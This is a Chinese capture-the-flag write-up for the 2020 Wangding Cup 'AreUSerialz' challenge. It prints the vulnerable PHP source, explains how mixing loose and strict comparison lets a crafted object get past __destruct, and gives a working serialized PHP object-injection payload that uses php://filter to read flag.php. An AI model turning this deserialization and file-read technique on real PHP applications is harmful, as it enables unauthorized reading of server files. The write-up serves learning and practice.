[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
解
读题
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看到 class FileHandler 有三个变量 op, filename, content。
还注意到这里有一个magic方法中_destruct方法,就像题目AreUSerialz一样,接下来应该涉及到反序列化了。
先看到 process()
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果 op == “1”,对filename进行写操作,如果 op == “2”,则对filename进行读操作,那么等下应该要让 op == “2” 来实现对 flag.php 的读取。
注意这里两个比较都是弱类型比较。
然后是_destruct方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果 op === “2”,使 op =“1”,然后赋值content为空,执行 process()。
注意这里的比较是强类型比较
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
再看最底下是通过 ‘str’ 传值,然后 is_valid 判断通过后进行反序列化,这里is_valid就是规定传入的字符ASCII码必须在区间[32,125]内。
理一下思路,传参后会被反序列化,反序列化时会先调用 _destruct 方法,因为传入 op 为 “2” 时会先被 _destruct 方法变为 “1”,所以要实现读操作即 op == “2” 成立就要先绕过 _destruct的干扰, 。
注意实现读操作的 op == “2” 是弱类型比较,也就是这里 2 == “2” 是成立的,而 _destruct的 op === “2” 是强类型比较,在这里 2 === “2” 不成立,也就是绕过了_destruct的干扰。所以 op 为 2 时可以成功实现读操作。
构造解
op = 2
filename = “php://filter/read=convert.base64-encode/resource=flag.php”
伪协议读取flag.php
<?php
class FileHandler{
public $op = 2;
public $filename= "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$res = new FileHandler();
echo (serialize($res));
?>
这里定义变量用 public 而不是题目的 protected ,因为 protected 序列化出来的结果包含不能通过 is_valid 的字符,而 public 则不会,并且PHP7.1+中对属性类型不敏感,所以可以用 public 替代。
反序列化后得到:
O:11:"FileHandler":3:
{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
传入后成功得到如下结果

base64解码得到flag

总结
- 强类型比较 “ === ”,弱类型比较 “ == ”
- 反序列化先调用 _destruct 方法
- PHP7.1+对属性类型不敏感
- protected/private 类型的属性序列化后产生不可打印字符,public则不会
- file_get_contents()可以读取php://filter伪装协议

浙公网安备 33010602011771号